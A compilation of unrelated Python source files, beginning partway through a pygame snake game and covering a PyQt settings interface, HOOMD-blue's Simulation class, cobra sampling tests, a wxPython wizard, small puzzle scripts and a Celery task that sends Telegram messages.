    elif move[pygame.K_LEFT]:#Dersom piltast venstre trykkes blir retningen satt som venstre
        direction = "left"
    if move[pygame.K_d]:#Dersom d trykkes blir retningen satt som høyre
        direction = "right"
    elif move[pygame.K_RIGHT]:#Dersom piltast høyre trykkes blir retningen satt som høyre
        direction = "right"

    ### Under utføres utretningen som ble definert over, det er viktig å huske at posisjonen (0,0) er øverst til venstre i vinduet
    ### Dette fører til at når y blir lavere vil slangen bevege seg nedover og når x blir høyere beveger slangen seg mot høyre.
    ### slik at lavere y noe uintuitivt er høyere på skjermen

    if direction == "up":#Utfører retningen definert i if else setningene over her setter den retningen opp, for å gjøre dette subtraheres y verdien
        y = y - snekmove

        Snakehead = pygame.transform.rotate(ont.render('Q', True, (255,255,255)), 180)#Roterer slangehodet 180 grader når slangen beveger seg oppover
        if y < 0:#Dersom y blir så lav at Q(slangehodet) går ut av skjermen setter vi posisjonen til Q til bunnen av vinduet
            y = h + y
    elif direction == "down":#Utfører retningen definert i if else setningene over her setter den retningen ned, for å gjøre dette adderes y verdien
        y = y + snekmove

        Snakehead = ont.render('Q', True, (255,255,255))#Passer på at slangehodet ikke er rotert når det beveger seg nedover
        if y > h:#Dersom y blir så høy at Q(slangehodet) går ut av skjermen setter vi posisjonen til Q til toppen av vinduet
            y = h - y
    elif direction == "left":#Utfører retningen definert i if else setningene over her setter vi retningen som venstre, for å gjøre dette subtraheres x verdien
        x = x - snekmove
        Snakehead = pygame.transform.rotate(ont.render('Q', True, (255,255,255)), 270)#Roterer slangehodet 270 grader når slangen beveger seg oppover
        if x < 0:#Dersom x blir så lav at Q(slangehodet) går ut av skjermen setter vi posisjonen til Q til høyresiden av vinduet
            x = w + x
    elif direction == "right":#Utfører retningen definert i if else setningene over her setter den retningen høyre, for å gjøre dette adderes x verdien
        x = x + snekmove
        Snakehead = pygame.transform.rotate(ont.render('Q', True, (255,255,255)), 90)#Roterer slangehodet 90 grader når slangen beveger seg oppover
        if x > w:#Dersom x blir så høy at Q(slangehodet) går ut av skjermen setter vi posisjonen til Q til venstresiden av vinduet
            x = w - x
    if Snekfood == False:
        b = random.randint(0,h +( 5* snekmove))#definerer tilfeldige høydekoordinater for maten til slangen. ettersom slangen endrer posisjon, med litt margin slik at maten ikke gjemmer seg i kantene
        a = random.randint(0,w - snekmove)
        print(a,b,Snake_food_eaten)#For debugging
        Snekfood = True#Slangematen eksisterer nå

    ###Kollisjon mellom slangens hode og mat
    if Snekfood == True:#Dersom slangematen eksisterer skal vi sjekke for kollisjon med slangens hode. Slangemat skal alltid eksistere her, da if statement over garanterer at det er sant.
        if x >= a -1:#Dersom slangens lengst venstreliggende punkt ligger til høyre(eller på) for matens lengst venstreliggende punkt + litt margin
            if x <= a + afw + 1:#Dersom slangens lengst venstreliggende punkt ligger til venstre (eller på) for matens lengst høyreliggende punkt + litt margin
                if y >= b - yfh:#Dersom slangens høyeste punkt ligger over eller på matens lavest liggende punkt
                    if y <= b:#Dersom slangen høyest liggende punkt ligger lavere enn eller på matens laveste punkt
                        Snekfood = False#Skal slangematen ikke eksistere lenger slik at den får nye koordinater
                        Snake_food_eaten = Snake_food_eaten + 1 #Skal også slangen få spise litt mat
                if y - ysh >= b - yfh:#Dersom slangens nederste punkt derimot ligger over matens nederste punkt
                    if y - ysh <= b:# og slangens nederste punkt ligger under matens nederste punkt
                        Snekfood = False#skal maten fortsatt slettes og
                        Snake_food_eaten = Snake_food_eaten + 1#Fortsatt slangen spise maten sin
        if x + xsw >= a -1:#Dersom slangens lengst høyreliggende punkt ligger til høyre for matens lengst venstreliggende punkt + litt margin
            if x + xsw <= a + afw + 1:#Og slangens lengst høyreliggende punkt ligger til venstre for matens lengst høyreliggende punkt + litt margin
                if y >= b - yfh:#og slangens øverste punkt ligger over matens nederste punkt
                    if y <= b:#og slangens øverste punkt ligger under matens øverste punkt
                        Snekfood = False#skal maten slettes
                        Snake_food_eaten = Snake_food_eaten + 1#og slangen spise
                if y - ysh >= b - yfh:#dersom slangens nederste punkt ligger over matens nederste punkt
                    if y - ysh <= b:#og slangens nederste punkt ligger under matens øverste punkt
                        Snekfood = False#Skal maten fortsatt slettes
                        Snake_food_eaten = Snake_food_eaten + 1# og slangen fortsatt spise

    screen.blit(food,(a,b))#tegner Slangematen på de oppgitte koordinatene
    screen.blit(Snakehead,(x,y))# tegner slangehodet på de oppgitte kooridnatene
    pygame.display.flip()#Oppdaterer spillvinduet slik at alle tegneinstruksjonene jeg har gitt så langt vises

    #Sjekker om spilleren har lyst til å avslutte
    for event in pygame.event.get():#Starter en løkke som søker gjennom events i pygame modulen
        if event.type == pygame.QUIT:#Dersom eventen er pygame.quit dvs dersom vi trykker på x i hjørnet er denne sann
            gameon = False#Dersom eventen over er sann setter vi variabelen vår slik at while løkken brytes

#class snake():

    #fda


# coding:utf-8
from qfluentwidgets import (SettingCardGroup, SwitchSettingCard,
                            OptionsSettingCard, PushSettingCard, ScrollArea,
                            ExpandLayout, CustomColorSettingCard, setTheme, setThemeColor)
from qfluentwidgets import FluentIcon as FIF
from qfluentwidgets import InfoBar
from PyQt5.QtCore import Qt, pyqtSignal
from PyQt5.QtWidgets import QWidget, QLabel, QFileDialog

from ..common.config import cfg
from ..common.style_sheet import StyleSheet

class SettingInterface(ScrollArea):
    """ Setting interface """

    checkUpdateSig = pyqtSignal()
    downloadFolderChanged = pyqtSignal(str)
    minimizeToTrayChanged = pyqtSignal(bool)

    def __init__(self, parent=None):
        super().__init__(parent=parent)
        self.scrollWidget = QWidget()
        self.expandLayout = ExpandLayout(self.scrollWidget)

        # setting label
        self.settingLabel = QLabel("Settings", self)

        # music folders
        self.downloadGroup = SettingCardGroup(
            "On this PC", self.scrollWidget)
        self.downloadFolderCard = PushSettingCard(
            self.tr('Choose folder'),
            FIF.DOWNLOAD,
            "Download directory",
            cfg.get(cfg.downloadFolder),
            self.downloadGroup
        )
        self.qualityandprovider = SettingCardGroup(self.tr('Quality & Providers'), self.scrollWidget)
        self.onlineMvQualityCard = OptionsSettingCard(
            cfg.onlineMvQuality,
            FIF.VIDEO,
            self.tr('Anime quality'),
            texts=[
                self.tr('Full HD'), self.tr('HD'),
                self.tr('SD'), self.tr('LD')
            ],
            parent=self.qualityandprovider
        )
        # personalization
        self.personalGroup = SettingCardGroup(
            self.tr('Personalization'), self.scrollWidget)
        self.themeCard = OptionsSettingCard(
            cfg.themeMode,
            FIF.BRUSH,
            self.tr('Application theme'),
            "Change the appearance of your application",
            texts=[
                self.tr('Light'), self.tr('Dark'),
                self.tr('Use system setting')
            ],
            parent=self.personalGroup
        )
        self.themeColorCard = CustomColorSettingCard(
            cfg.themeColor,
            FIF.PALETTE,
            self.tr('Theme color'),
            self.tr('Change the theme color of you application'),
            self.personalGroup
        )
        self.zoomCard = OptionsSettingCard(
            cfg.dpiScale,
            FIF.ZOOM,
            "Interface zoom",
            "Change the size of widgets and fonts",
            texts=[
                "100%", "125%", "150%", "175%", "200%",
                "Use system setting"
            ],
            parent=self.personalGroup
        )
        # main panel
        self.mainPanelGroup = SettingCardGroup(self.tr('Main Panel'), self.scrollWidget)
        self.minimizeToTrayCard = SwitchSettingCard(
            FIF.MINIMIZE,
            self.tr('Minimize to tray after closing'),
            self.tr('Ani-Me-Downloader will continue to run in the background'),
            configItem=cfg.minimizeToTray,
            parent=self.mainPanelGroup
        )
        self.showNotificationCard = SwitchSettingCard(
            FIF.MESSAGE,
            self.tr('Show notification'),
            self.tr('Ani-Me-Downloader will show a notifications about things...'),
            configItem=cfg.showNotification,
            parent=self.mainPanelGroup
        )
        # update software
        self.updateSoftwareGroup = SettingCardGroup(
            "Software update", self.scrollWidget)
        self.updateOnStartUpCard = SwitchSettingCard(
            FIF.UPDATE,
            self.tr('Check for updates when the application starts'),
            self.tr('The new version will be more stable and have more features'),
            configItem=cfg.checkUpdateAtStartUp,
            parent=self.updateSoftwareGroup
        )
        self.__initWidget()

    def __initWidget(self):
        self.resize(1000, 800)
        self.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff)
        self.setViewportMargins(0, 80, 0, 20)
        self.setWidget(self.scrollWidget)
        self.setWidgetResizable(True)

        # initialize style sheet
        self.scrollWidget.setObjectName('scrollWidget')
        self.settingLabel.setObjectName('settingLabel')
        StyleSheet.SETTING_INTERFACE.apply(self)

        # initialize layout
        self.__initLayout()
        self.__connectSignalToSlot()

    def __initLayout(self):
        self.settingLabel.move(36, 30)

        # add cards to group
        self.downloadGroup.addSettingCard(self.downloadFolderCard)
        self.qualityandprovider.addSettingCard(self.onlineMvQualityCard)
        self.mainPanelGroup.addSettingCard(self.minimizeToTrayCard)
        self.mainPanelGroup.addSettingCard(self.showNotificationCard)
        self.personalGroup.addSettingCard(self.themeCard)
        self.personalGroup.addSettingCard(self.themeColorCard)
        self.personalGroup.addSettingCard(self.zoomCard)
        self.updateSoftwareGroup.addSettingCard(self.updateOnStartUpCard)

        # add setting card group to layout
        self.expandLayout.setSpacing(28)
        self.expandLayout.setContentsMargins(36, 10, 36, 0)
        self.expandLayout.addWidget(self.downloadGroup)
        self.expandLayout.addWidget(self.qualityandprovider)
        self.expandLayout.addWidget(self.personalGroup)
        self.expandLayout.addWidget(self.mainPanelGroup)
        self.expandLayout.addWidget(self.updateSoftwareGroup)

    def __showRestartTooltip(self):
        """ show restart tooltip """
        InfoBar.success(
            self.tr('Updated successfully'),
            self.tr('Configuration takes effect after restart'),
            duration=1500,
            parent=self
        )

    def __onDownloadFolderCardClicked(self):
        """ download folder card clicked slot """
        folder = QFileDialog.getExistingDirectory(
            self, "Choose folder", "./")
        if not folder or cfg.get(cfg.downloadFolder) == folder:
            return

        cfg.set(cfg.downloadFolder, folder)
        cfg.save()
        self.downloadFolderCard.setContent(folder)

    def __connectSignalToSlot(self):
        """ connect signal to slot """
        cfg.appRestartSig.connect(self.__showRestartTooltip)
        cfg.themeChanged.connect(setTheme)

        # download folder
        self.downloadFolderCard.clicked.connect(
            self.__onDownloadFolderCardClicked)

        # personalization
        self.themeColorCard.colorChanged.connect(setThemeColor)


from dsame.trees.common.BinarySearchTreeNode import *

def find_max_ele_iter(root: BinarySearchTreeNode):
    if not root:
        return root
    while root.right:
        root = root.right
    return root

print(find_max_ele_iter(initialize_BST()).data)


from functools import reduce

def isLucky(n):
    s = str(n)
    mid = len(s) // 2
    a = s[:mid]
    b = s[mid:]
    return sum([int(c) for c in a]) == sum([int(c) for c in b])
    # return reduce(lambda a, b: a + b, map(int, a)) == reduce(lambda a, b: a + b, map(int, b))

print(isLucky(1230))
print(isLucky(239017))

"""
기준 변수명 pivot
reduce
"""


import hoomd._hoomd as _hoomd
from hoomd.logging import log, Loggable
from hoomd.state import State
from hoomd.snapshot import Snapshot
from hoomd.operations import Operations
import hoomd
import json

class Simulation(metaclass=Loggable):
    """Define a simulation.

    Args:
        device (`hoomd.device.Device`): Device to execute the simulation.

    `Simulation` is the central class in HOOMD-blue that defines a simulation,
    including the `state` of the system, the `operations` that apply to the
    state during a simulation `run`, and the `device` to use when executing
    the simulation.
    """

    def __init__(self, device):
        self._device = device
        self._state = None
        self._operations = Operations()
        self._operations._simulation = self
        self._timestep = None

    @property
    def device(self):
        """hoomd.device.Device: Device used to execute the simulation."""
        return self._device

    @device.setter
    def device(self, value):
        raise ValueError("Device cannot be removed or replaced once in "
                         "Simulation object.")

    @log
    def timestep(self):
        """int: Current time step of the simulation.

        Note:
            Functions like `create_state_from_gsd` will set the initial timestep
            from the input. Set `timestep` before creating the simulation state
            to override values from ``create_`` methods::

                sim.timestep = 5000
                sim.create_state_from_gsd('gsd_at_step_10000000.gsd')
                assert sim.timestep == 5000
        """
        if not hasattr(self, '_cpp_sys'):
            return self._timestep
        else:
            return self._cpp_sys.getCurrentTimeStep()

    @timestep.setter
    def timestep(self, step):
        if step < 0:
            raise ValueError("Timestep must be positive.")
        elif self._state is None:
            self._timestep = step
        else:
            raise RuntimeError("State must not be set to change timestep.")

    def _init_communicator(self):
        """Initialize the Communicator."""
        # initialize communicator
        if hoomd.version.mpi_enabled:
            pdata = self.state._cpp_sys_def.getParticleData()
            decomposition = pdata.getDomainDecomposition()
            if decomposition is not None:
                # create the c++ Communicator
                if isinstance(self.device, hoomd.device.CPU):
                    cpp_communicator = _hoomd.Communicator(
                        self.state._cpp_sys_def, decomposition)
                else:
                    cpp_communicator = _hoomd.CommunicatorGPU(
                        self.state._cpp_sys_def, decomposition)

                # set Communicator in C++ System
                self._cpp_sys.setCommunicator(cpp_communicator)
                self._system_communicator = cpp_communicator
            else:
                self._system_communicator = None
        else:
            self._system_communicator = None

    def create_state_from_gsd(self, filename, frame=-1):
        """Create the simulation state from a GSD file.

        Args:
            filename (str): GSD file to read

            frame (int): Index of the frame to read from the file. Negative
                values index back from the last frame in the file.
        """
        if self.state is not None:
            raise RuntimeError("Cannot initialize more than once\n")
        filename = _hoomd.mpi_bcast_str(filename,
                                        self.device._cpp_exec_conf)
        # Grab snapshot and timestep
        reader = _hoomd.GSDReader(self.device._cpp_exec_conf,
                                  filename, abs(frame), frame < 0)
        snapshot = Snapshot._from_cpp_snapshot(reader.getSnapshot(),
                                               self.device.communicator)

        step = reader.getTimeStep() if self.timestep is None else self.timestep
        self._state = State(self, snapshot)

        reader.clearSnapshot()
        # Store System and Reader for Operations
        self._cpp_sys = _hoomd.System(self.state._cpp_sys_def, step)
        self._init_communicator()
        self.operations._store_reader(reader)

    def create_state_from_snapshot(self, snapshot):
        """Create the simulations state from a `Snapshot`.

        Args:
            snapshot (Snapshot): Snapshot to initialize the state from.

        When `timestep` is `None` before calling, `create_state_from_snapshot`
        sets `timestep` to 0.

        Warning:
            *snapshot* must be a `hoomd.Snapshot`. Use `create_state_from_gsd`
            to read GSD files. `create_state_from_snapshot` does not support
            ``gsd.hoomd.Snapshot`` objects from the ``gsd`` Python package.
        """
        if self.state is not None:
            raise RuntimeError("Cannot initialize more than once\n")

        self._state = State(self, snapshot)

        step = 0
        if self.timestep is not None:
            step = self.timestep

        # Store System and Reader for Operations
        self._cpp_sys = _hoomd.System(self.state._cpp_sys_def, step)
        self._init_communicator()

    @property
    def state(self):
        """hoomd.State: The current simulation state."""
        return self._state

    @property
    def operations(self):
        """hoomd.Operations: The operations that apply to the state."""
        return self._operations

    @operations.setter
    def operations(self, operations):
        # This condition is necessary to allow for += and -= operators to work
        # correctly with simulation.operations (+=/-=).
        if operations is self._operations:
            self._operations = operations
        else:
            # Handle error cases first
            if operations._scheduled or operations._simulation is not None:
                raise RuntimeError(
                    "Cannot add `hoomd.Operations` object that belongs to "
                    "another `hoomd.Simulation` object.")
            # Switch out `hoomd.Operations` objects.
            elif self._operations._scheduled:
                self._operations._unschedule()
                self._operations._simulation = None
                operations._simulation = self
                operations._schedule()
                self._operations = operations

    @property
    def tps(self):
        """float: The average number of time steps per second.

        `tps` is the number of steps executed divided by the elapsed
        walltime in seconds. It is updated during the `run` loop and remains
        fixed after `run` completes.

        Note:
            The start time and step are reset at the beginning of each call to
            `run`.
        """
        if self.state is None:
            return None
        else:
            return self._cpp_sys.getLastTPS()

    @property
    def always_compute_pressure(self):
        """bool: Always compute the virial and pressure (defaults to ``False``).

        By default, HOOMD only computes the virial and pressure on timesteps
        where it is needed (when :py:class:`hoomd.write.GSD` writes
        log data to a file or when using an NPT integrator). Set
        `always_compute_pressure` to True to make the per particle virial,
        net virial, and system pressure available to query any time by property
        or through the :py:class:`hoomd.logging.Logger` interface.

        Note:
            Enabling this flag will result in a moderate performance penalty
            when using MD pair potentials.
        """
        if not hasattr(self, '_cpp_sys'):
            return False
        else:
            return self._cpp_sys.getPressureFlag()

    @always_compute_pressure.setter
    def always_compute_pressure(self, value):
        if not hasattr(self, '_cpp_sys'):
            # TODO make this work when not attached by automatically setting
            # flag when state object is instantiated.
            raise RuntimeError('Cannot set flag without state')
        else:
            self._cpp_sys.setPressureFlag(value)

            # if the flag is true, also set it in the particle data
            if value:
                self._state._cpp_sys_def.getParticleData().setPressureFlag()

    def run(self, steps, write_at_start=False):
        """Advance the simulation a number of steps.

        Args:
            steps (int): Number of steps to advance the simulation.

            write_at_start (bool): When `True`, writers
               with triggers that evaluate `True` for the initial step will be
               exected before the time step loop.

        Note:
            Initialize the simulation's state before calling `run`.

        During each step `run`, `Simulation` applies its `operations` to the
        state in the order: Tuners, Updaters, Integrator, then Writers following
        the logic in this pseudocode::

            if write_at_start:
                for writer in operations.writers:
                    if writer.trigger(timestep):
                        writer.write(timestep)

            end_step = timestep + steps
            while timestep < end_step:
                for tuner in operations.tuners:
                    if tuner.trigger(timestep):
                        tuner.tune(timestep)

                for updater in operations.updaters:
                    if updater.trigger(timestep):
                        updater.update(timestep)

                if operations.integrator is not None:
                    operations.integrator(timestep)

                timestep += 1

                for writer in operations.writers:
                    if writer.trigger(timestep):
                        writer.write(timestep)

        This order of operations ensures that writers (such as `hoomd.dump.GSD`)
        capture the final output of the last step of the run loop. For example,
        a writer with a trigger ``hoomd.trigger.Periodic(period=100, phase=0)``
        active during a ``run(500)`` would write on steps 100, 200, 300, 400,
        and 500. Set ``write_at_start=True`` on the first
        call to `run` to also obtain output at step 0.

        Warning:
            Using ``write_at_start=True`` in subsequent
            calls to `run` will result in duplicate output frames.
        """
        # check if initialization has occurred
        if not hasattr(self, '_cpp_sys'):
            raise RuntimeError('Cannot run before state is set.')
        if not self.operations._scheduled:
            self.operations._schedule()

        self._cpp_sys.run(int(steps), write_at_start)

    def write_debug_data(self, filename):
        """Write debug data to a JSON file.

        Args:
            filename (str): Name of file to write.

        The debug data file contains useful information for others to help you
        troubleshoot issues.

        Note:
            The file format and particular data written to this file may change
            from version to version.

        Warning:
            The specified file name will be overwritten.
        """
        debug_data = {}
        debug_data['hoomd_module'] = str(hoomd)
        debug_data['version'] = dict(
            compile_date=hoomd.version.compile_date,
            compile_flags=hoomd.version.compile_flags,
            cxx_compiler=hoomd.version.cxx_compiler,
            git_branch=hoomd.version.git_branch,
            git_sha1=hoomd.version.git_sha1,
            gpu_api_version=hoomd.version.gpu_api_version,
            gpu_enabled=hoomd.version.gpu_enabled,
            gpu_platform=hoomd.version.gpu_platform,
            install_dir=hoomd.version.install_dir,
            mpi_enabled=hoomd.version.mpi_enabled,
            source_dir=hoomd.version.source_dir,
            tbb_enabled=hoomd.version.tbb_enabled,)

        reasons = hoomd.device.GPU.get_unavailable_device_reasons()

        debug_data['device'] = dict(
            msg_file=self.device.msg_file,
            notice_level=self.device.notice_level,
            devices=self.device.devices,
            num_cpu_threads=self.device.num_cpu_threads,
            gpu_available_devices=hoomd.device.GPU.get_available_devices(),
            gpu_unavailable_device_reasons=reasons)

        debug_data['communicator'] = dict(
            num_ranks=self.device.communicator.num_ranks)

        # TODO: Domain decomposition

        if self.state is not None:
            debug_data['state'] = dict(
                types=self.state.types,
                N_particles=self.state.N_particles,
                N_bonds=self.state.N_bonds,
                N_angles=self.state.N_angles,
                N_impropers=self.state.N_impropers,
                N_special_pairs=self.state.N_special_pairs,
                N_dihedrals=self.state.N_dihedrals,
                box=repr(self.state.box))

        # save all loggable quantities from operations and their child computes
        logger = hoomd.logging.Logger(only_default=False)
        logger += self

        for op in self.operations:
            logger.add(op)

            for child in op._children:
                logger.add(child)

        log = logger.log()
        log_values = hoomd.util.dict_map(log, lambda v: v[0])
        debug_data['operations'] = log_values

        if self.device.communicator.rank == 0:
            with open(filename, 'w') as f:
                json.dump(debug_data, f, default=lambda v: str(v), indent=4)


"""Test functionalities of flux sampling methods."""

import os

import numpy as np
import pytest

from cobra.core import Metabolite, Model, Reaction
from cobra.flux_analysis.parsimonious import pfba
from cobra.sampling import ACHRSampler, OptGPSampler, sample

def test_single_achr(model: Model) -> None:
    """Test ACHR sampling (one sample)."""
    s = sample(model, 10, method="achr")
    assert s.shape == (10, len(model.reactions))

def test_single_optgp(model: Model) -> None:
    """Test OptGP sampling (one sample)."""
    s = sample(model, 10, processes=1)
    assert s.shape == (10, len(model.reactions))

@pytest.mark.skipif("SKIP_MP" in os.environ, reason="unsafe for parallel execution")
def test_multi_optgp(model: Model) -> None:  # pragma: no cover
    """Test OptGP sampling (multi sample)."""
    s = sample(model, 10, processes=2)
    assert s.shape == (10, len(model.reactions))

def test_wrong_method(model: Model) -> None:
    """Test method intake sanity."""
    with pytest.raises(ValueError):
        sample(model, 1, method="schwupdiwupp")

def test_fixed_seed(model: Model) -> None:
    """Test result of fixed seed for sampling."""
    s1 = sample(model, 1, seed=42)
    s2 = sample(model, 1, seed=42)
    assert np.isclose(s1.TPI[0], s2.TPI[0])

def test_equality_constraint(model: Model) -> None:
    """Test equality constraint."""
    model.reactions.ACALD.bounds = (-1.5, -1.5)

    s = sample(model, 10)
    assert np.allclose(s.ACALD, -1.5, atol=1e-6, rtol=0)

    s = sample(model, 10, method="achr")
    assert np.allclose(s.ACALD, -1.5, atol=1e-6, rtol=0)

def test_inequality_constraint(model: Model) -> None:
    """Test inequality constraint."""
    co = model.problem.Constraint(model.reactions.ACALD.flux_expression, lb=-0.5)
    model.add_cons_vars(co)

    s = sample(model, 10)
    assert all(s.ACALD > -0.5 - 1e-6)

    s = sample(model, 10, method="achr")
    assert all(s.ACALD > -0.5 - 1e-6)

def test_inhomogeneous_sanity(model: Model) -> None:
    """Test standard deviation between inhomogeneous and homogeneous sampling."""
    model.reactions.ACALD.bounds = (-1.5, -1.5)
    s_inhom = sample(model, 64)

    model.reactions.ACALD.bounds = (-1.5 - 1e-3, -1.5 + 1e-3)
    s_hom = sample(model, 64)

    relative_diff = (s_inhom.std() + 1e-12) / (s_hom.std() + 1e-12)
    assert 0.5 < relative_diff.abs().mean() < 2

    model.reactions.ACALD.bounds = (-1.5, -1.5)
    s_inhom = sample(model, 64, method="achr")

    model.reactions.ACALD.bounds = (-1.5 - 1e-3, -1.5 + 1e-3)
    s_hom = sample(model, 64, method="achr")

    relative_diff = (s_inhom.std() + 1e-12) / (s_hom.std() + 1e-12)
    assert 0.5 < relative_diff.abs().mean() < 2

def test_complicated_model() -> None:
    """Test a complicated model.

    Difficult model since the online mean calculation is numerically
    unstable, so many samples weakly violate the equality constraints.

    """
    model = Model("flux_split")

    reaction1 = Reaction("V1")
    reaction2 = Reaction("V2")
    reaction3 = Reaction("V3")
    reaction1.bounds = (0, 6)
    reaction2.bounds = (0, 8)
    reaction3.bounds = (0, 10)

    A = Metabolite("A")

    reaction1.add_metabolites({A: -1})
    reaction2.add_metabolites({A: -1})
    reaction3.add_metabolites({A: 1})

    model.add_reactions([reaction1, reaction2, reaction3])

    optgp = OptGPSampler(model, 1, seed=42)
    achr = ACHRSampler(model, seed=42)

    optgp_samples = optgp.sample(100)
    achr_samples = achr.sample(100)

    assert any(optgp_samples.corr().abs() < 1.0)
    assert any(achr_samples.corr().abs() < 1.0)

    # > 95% are valid
    assert sum(optgp.validate(optgp_samples) == "v") > 95
    assert sum(achr.validate(achr_samples) == "v") > 95

def test_single_point_space(model: Model) -> None:
    """Test the reduction of the sampling space to one point."""
    pfba_sol = pfba(model)
    pfba_const = model.problem.Constraint(
        sum(model.variables), ub=pfba_sol.objective_value
    )
    model.add_cons_vars(pfba_const)
    model.reactions.Biomass_Ecoli_core.lower_bound = pfba_sol.fluxes.Biomass_Ecoli_core

    with pytest.raises(ValueError):
        sample(model, 1)


# Chapter 6: Retrieving Information from Users, Common Dialogs
# Recipe 7: Guiding selections with a Wizard
#
import wx
import wx.wizard as WIZ

class PageBase(WIZ.WizardPageSimple):
    def __init__(self, parent, title):
        super(PageBase, self).__init__(parent)

        sizer = wx.BoxSizer(wx.VERTICAL)
        label = wx.StaticText(self, label=title)
        font = wx.Font(18, wx.SWISS, wx.NORMAL, wx.BOLD)
        label.SetFont(font)
        sizer.Add(label, 0, wx.ALIGN_CENTER)
        line = wx.StaticLine(self)
        sizer.Add(line, 0, wx.EXPAND|wx.ALL, 5)
        self.Sizer = sizer

    def IsValid(self):
        return True

class QuestionPage(PageBase):
    def __init__(self, parent, title):
        super(QuestionPage, self).__init__(parent, title)

        self.field = wx.TextCtrl(self)
        self.Sizer.Add(self.field, 0, wx.ALL|wx.EXPAND, 5)

    def IsValid(self):
        val = self.field.Value.lower()
        if not val or " dont " in val:
            return False
        return super(QuestionPage, self).IsValid()

class MyWizard(WIZ.Wizard):
    def __init__(self, parent, title):
        bmp = wx.Bitmap("Monty_python_foot.gif")
        super(MyWizard, self).__init__(parent,
                                       title=title, bitmap=bmp)
        self._pages = list()
        self._SetupPages()

        self.Bind(WIZ.EVT_WIZARD_PAGE_CHANGING,
                  self.OnChanging)

    def _SetupPages(self):
        page1 = QuestionPage(self, "What is your Name?")
        self._pages.append(page1)
        page2 = QuestionPage(self, "What is your Quest?")
        self._pages.append(page2)
        WIZ.WizardPageSimple.Chain(page1, page2)
        q3 = "What is your Favorite Color?"
        page3 = QuestionPage(self, q3)
        self._pages.append(page3)
        WIZ.WizardPageSimple.Chain(page2, page3)

    def OnChanging(self, event):
        if not event.Page.IsValid():
            event.Veto()
            wx.MessageBox("Into the Volcano!", "Fail!")
            self.Close()

        if event.Page.GetNext() is None:
            wx.MessageBox("Go on. Off you go.", "Success!")

    def Run(self):
        firstPage = self._pages[0]
        self.FitToPage(firstPage)
        return self.RunWizard(firstPage)

#-------------------------------------------------------#
class MyFrame(wx.Frame):
    def __init__(self, parent, title):
        super(MyFrame, self).__init__(parent, title=title)

        sizer = wx.BoxSizer(wx.VERTICAL)

        panel = wx.Panel(self)
        button = wx.Button(panel, label="Start Wizard")
        psizer = wx.BoxSizer(wx.HORIZONTAL)
        vsizer = wx.BoxSizer(wx.VERTICAL)
        vsizer.Add(button, 0, wx.ALIGN_CENTER|wx.ALL, 20)
        psizer.AddStretchSpacer()
        psizer.Add(vsizer, 0, wx.ALIGN_CENTER)
        psizer.AddStretchSpacer()
        panel.Sizer = psizer

        sizer.Add(panel, 1, wx.EXPAND)
        self.Sizer = sizer

        button.Bind(wx.EVT_BUTTON, self.OnWizard)

    def OnWizard(self, event):
        wizard = MyWizard(self, "Bridgekeeper Quiz")
        if wizard.Run():
            pass
        else:
            pass

class MyApp(wx.App):
    def OnInit(self):
        self.frame = MyFrame(None, title="Wizard")
        self.frame.Show()
        return True

if __name__ == '__main__':
    app = MyApp(False)
    app.MainLoop()


# Program that asks the user to input a string to search, then searches all the .txt files in a folder and returns
# the found string and the file the string was found in.

import re, os, sys

# Have user input a string, then create regex from that string
answer = input("Please enter what you would like to be searched for: \n")
name_found = 0

phrase_regex = re.compile(answer, re.IGNORECASE)

# Assume the text files are in a relative folder below this program called text2Search, search folder by writing a loop that will iterate through
# the directory of text2Search
directory = os.path.dirname(sys.argv[0]) + "/text2Search"

assert os.path.exists(directory) != False, "no text2Search directory found"

for dir_path, dir_name, file_name in os.walk(directory):
    print("\nSearching " + dir_path + '...\nFound folders: ' + ", ".join(dir_name) + '\nFound files: ' + ", ".join(file_name))
    for file in file_name:

    # For each iteration, open dir_path + file in file_name (which gives the absolute path of file), read it, search it with regex_obj
    # if regex_obj != NoneType, print regex_obj.group(), print i in iteration
        with open(dir_path + '/' + file, 'r') as file_obj:
            file_text = file_obj.read()
            answer_mo = phrase_regex.search(file_text)
            if answer_mo != None:
                print(answer + " was found in " + file)
                name_found = 1

if name_found == 0:
    print("\nNo name was found")


from collections import defaultdict
n=int(input())
mat=[]
d=defaultdict(lambda:0)
for i in range(0,n,1):
  l=list(input().split())
  mat.append(l)
  l=set(l)
  for ele in l:
    d[ele]+=1
out=[[0 for _ in range(len(mat[0]))]for _ in range(n)]
k=n/2
for i in range(n):
  for j in range(len(mat[0])):
    if d[mat[i][j]]==n:
      out[i][j]=0
    elif d[mat[i][j]]>k:
      if i%2==0:
        out[i][j]=1
      else:
        out[i][j]=0
    else:
      out[i][j]=1
m=len(mat[0])
l=[]
for i in range(n):
  if out[i].count(1)-out[i].count(0)==0:
    s=''
    for j in range(m):
      if j%2==0:
        s+='1'
      else:
        s+='0'
    l.append(list(s))
  elif out[i].count(1)==m or out[i].count(0)==m:
    l.append(out[i])
  else:
    if out[i].count(1)>out[i].count(0):
      ones=out[i].count(1)
      s='1'*(int(ones/2)+1)
      s+='0'*out[i].count(0)
      s+='1'*(int(ones/2))
    else:
      ones=out[i].count(0)
      s='0'*(int(ones/2)+1)
      s+='1'*out[i].count(1)
      s+='0'*(int(ones/2))
    l.append(list(s))
for i in l:
  print(*i,sep=',')


from celery import shared_task
from django.conf import settings
import requests

@shared_task(name='send_message')
def send_message(chat_id, message):
    url = f"https://api.telegram.org/bot{settings.BOT_TOKEN}/sendMessage"
    data = {
        'chat_id': chat_id,
        'text': message,
    }
    requests.post(url, json=data)


import numpy as np
import matplotlib.pyplot as plt
from matplotlib import rc
#Importing different libraries
plt.figure()
E_0_vec = np.array([0])
for i in E_0_vec:
    E_0 = i

    e = 0.7
    M = np.pi/2

    ConCri = 1E-16
    E = E_0
    residual = 100

    residual_Newton = np.array([])
    E_k_Newton = np.array([])
    while np.abs(residual) >= ConCri:
        E_k = E - (E-e*np.sin(E) - M)/(1 - e*np.cos(E))
        residual = np.abs(E_k - E)
        residual_Newton = np.append(residual_Newton, residual)
        E_k_Newton = np.append(E_k_Newton,E_k)
        E = E_k

print ("For Newton Solver, E = "+str(E)+". We are able to strike down to 1E-16 of accuracy")
##----------------------------------------------------------------


import random

number = random.randint(1,100)
chances = 0
#print(number)
print("Guess a number (1 to 100)")

while chances<5:
    guess = int(input("Enter your guess: "))
    if guess == number:
        print("YOU WON!")
        chances +=5
    elif guess < number:
        if guess  > number - 5:
            print("low... but close")
        else:
            print("too low...")
    elif guess > number:
        if guess  < number + 5:
            print("high... but close")
        else:
            print("too high...")
    if guess != number:
        chances += 1
        print("You have",5-chances,"chances...")
